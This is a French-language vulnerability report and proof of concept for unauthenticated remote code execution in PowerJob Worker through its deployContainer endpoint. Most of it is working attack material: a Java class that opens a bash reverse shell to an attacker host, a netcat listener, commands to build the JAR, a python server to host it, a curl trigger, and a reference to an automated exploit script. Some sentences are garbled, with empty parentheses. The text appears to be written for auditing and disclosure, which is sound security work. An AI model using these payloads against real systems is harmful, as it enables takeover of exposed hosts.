
Preuve de concept d'exploitation pour CVE-2026-75430, permettant une exécution de code à distance non authentifiée sur PowerJob Worker via le chargement arbitraire de JAR à travers le point de terminaison deployContainer.
/worker/deployContainer (chargement arbitraire de JAR)Le Worker PowerJob expose le gestionnaire deployContainer sur son port de transport HTTP 27777 sans aucune authentification. Un attaquant soumet une URL arbitraire ; le Worker télécharge ce JAR et le charge via URLClassLoader + Spring ClassPathXmlApplicationContext, exécutant du code arbitraire pendant le init-method de Spring → RCE sur le Worker. Le docker-compose par défaut publie ce port sur l'hôte.
Condition préalable (déclaration honnête) : le Worker doit être en cours d'exécution (27777 à l'écoute). Dans la configuration par défaut, le Worker valide au démarrage que son application est enregistrée sur le serveur () ; (vérifié : le processus Java se termine avec le code 1). Par conséquent, un état strictement vierge de « docker-compose up sans configuration console » n'est pas directement exploitable. Cependant, (sinon le système ne planifie aucun job), donc , après quoi l'exploit est sans identifiants. En revanche, la découverte connexe PJ-08 (serveur ) n'a pas une telle condition préalable — le serveur lie 10010 au démarrage sans condition.
/server/assert/friend/processpowerjob-worker, déployé via l'image officielle powerjob-worker-samples)docker-compose.yml, protocole HTTP, port 27777 (PowerJobWorkerConfig.java:34)| Élément | Valeur |
|---|---|
| Point d'entrée | POST http://<worker>:27777/worker/deployContainer |
| Gestionnaire | powerjob-worker/.../actors/WorkerActor.java:32-35 (@Actor(path="worker"), sans authentification) |
| Téléchargement | OmsContainerFactory.deployContainer:97 FileUtils.copyURLToFile(new URL(request.getDownloadURL()), jarFile, ...) |
| Chargement | OmsJarContainer.init() OhMyClassLoader.load() + new ClassPathXmlApplicationContext(...).refresh() |
Corps de la requête ServerDeployContainerRequest (champs containerId/containerName/version/downloadURL).
WorkerActor fait entièrement confiance à downloadURL.OmsContainerFactory télécharge le JAR depuis une URL arbitraire et appelle immédiatement OmsJarContainer.init() : chargement URLClassLoader + refresh() du contexte Spring → le code malveillant s'exécute pendant l'initialisation de la classe/du Bean.Condition préalable : le Worker est en cours d'exécution et 27777 est à l'écoute (satisfaite par tout déploiement de production/démonstration ; si l'opérateur a suivi le flux officiel et créé l'application d'exemple, le Worker est en ligne). Pour la reproduction, le Worker peut être démarré avec --powerjob.worker.allow-lazy-connect-server=true pour ignorer la vérification d'enregistrement de l'application (non recommandé en production ; notez que ce commutateur n'affecte que la mise en ligne du Worker — il ne modifie pas l'absence d'authentification sur le port ouvert).
OmsJarContainer.init()) :
oms-worker-container.properties avec PACKAGE_NAME=com.evilcom/evil/Exploit.class — une classe exposant un init-method Spring (par ex. run()) qui exécute une commandeoms-worker-container-spring-context.xml — <bean class="com.evil.Exploit" init-method="run"/>POST /worker/deployContainer au port Worker 27777 avec le corps {"containerId":1,"containerName":"x","version":"1","downloadURL":"http://<attaquant>/evil.jar"}.OmsJarContainer.init() : OhMyClassLoader.load() charge la classe (n'exécute pas les initialiseurs statiques), puis ClassPathXmlApplicationContext.refresh() instancie le bean et invoque le init-method → exécution de commande arbitraire (avec les privilèges d'exécution du Worker).AbstractScriptProcessor.java:118-123 prend également en charge le téléchargement depuis une URL arbitraire → SSRF côté Worker.Aucun écho de sortie : le gestionnaire
deployContainerrenvoievoid, donc la réponse HTTP ne contient aucune sortie de commande (vérifié : corps vide). Pour l'exécution interactive de commandes, la technique principale est un shell inversé (voir Reproduction ci-dessous) ; la variante du fichier marqueur n'est qu'une vérification locale non interactive.
Environnement : JDK 21, powerjob-worker-samples-5.1.2.jar compilé depuis les sources, Worker à l'écoute sur 192.168.49.128:27777 (démarré avec --powerjob.worker.allow-lazy-connect-server=true pour ignorer l'enregistrement de l'application).
Principal — shell inversé (exécution interactive de commandes) :
Le Exploit.run() du JAR malveillant (init-method Spring) lance un shell inversé. Comme il n'y a aucun écho de sortie, c'est le moyen efficace d'obtenir une exécution interactive de commandes sur l'hôte du Worker.
# 1) L'attaquant écoute d'abord :
nc -lvnp 7878
# 2) Construction du JAR malveillant — Exploit.run() exécute un shell inversé bash
package com.evil;
public class Exploit {
public void run() {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
"bash -i >& /dev/tcp/192.168.3.17/7878 0>&1"}); // LHOST:LPORT
}
}
# oms-worker-container.properties : PACKAGE_NAME=com.evil
# oms-worker-container-spring-context.xml :
# <bean id="evil" class="com.evil.Exploit" init-method="run"/>
javac --release 8 -d classes Exploit.java && jar cf evil.jar com/evil/Exploit.class \
oms-worker-container.properties oms-worker-container-spring-context.xml
python3 -m http.server 8000 # héberger evil.jar
# 3) Déclenchement (sans identifiants) :
curl -s http://192.168.49.128:27777/worker/deployContainer -H 'Content-Type: application/json' -d '{
"containerId": 3, "containerName": "evil", "version": "3",
"downloadURL": "http://192.168.3.17:8000/evil.jar"
}'

Alternativement, utiliser le script pour vérifier : python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 --reverse-shell 192.168.3.17:7878
Point clé du PoC :
OhMyClassLoader.load()appelle uniquementloadClass(), qui n'exécute pas les initialiseurs statiques ; le point d'exécution réel est le init-method Spring invoqué parClassPathXmlApplicationContext.refresh(). Le JAR malveillant doit donc contenir le XML Spring et déclarerinit-method. Le shell inversé doit s'exécuter via/bin/bash -ccar/bin/sh(dash) ne parse pas/dev/tcp.
deployContainer de n'être déclenché que par un Serveur de confiance et valider la source.downloadURL aux adresses internes de confiance ; vérifier le hachage/signature du JAR avant le chargement.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 CritiquePowerJob-5.1.2/audit_report/SECOND_AUDIT_REPORT.md (PJ-09)192.168.49.128:27777, sans identifiants → RCE Worker) ; voir ## 6. ReproductionPowerJob-5.1.2/audit_report/poc/powerjob_worker_deploycontainer_rce.py (construction automatique du JAR + hébergement + déclenchement, --reverse-shell, -p/--proxy)SECURITY.md de PowerJob (Tidelift / [email protected] / GitHub Security Advisory)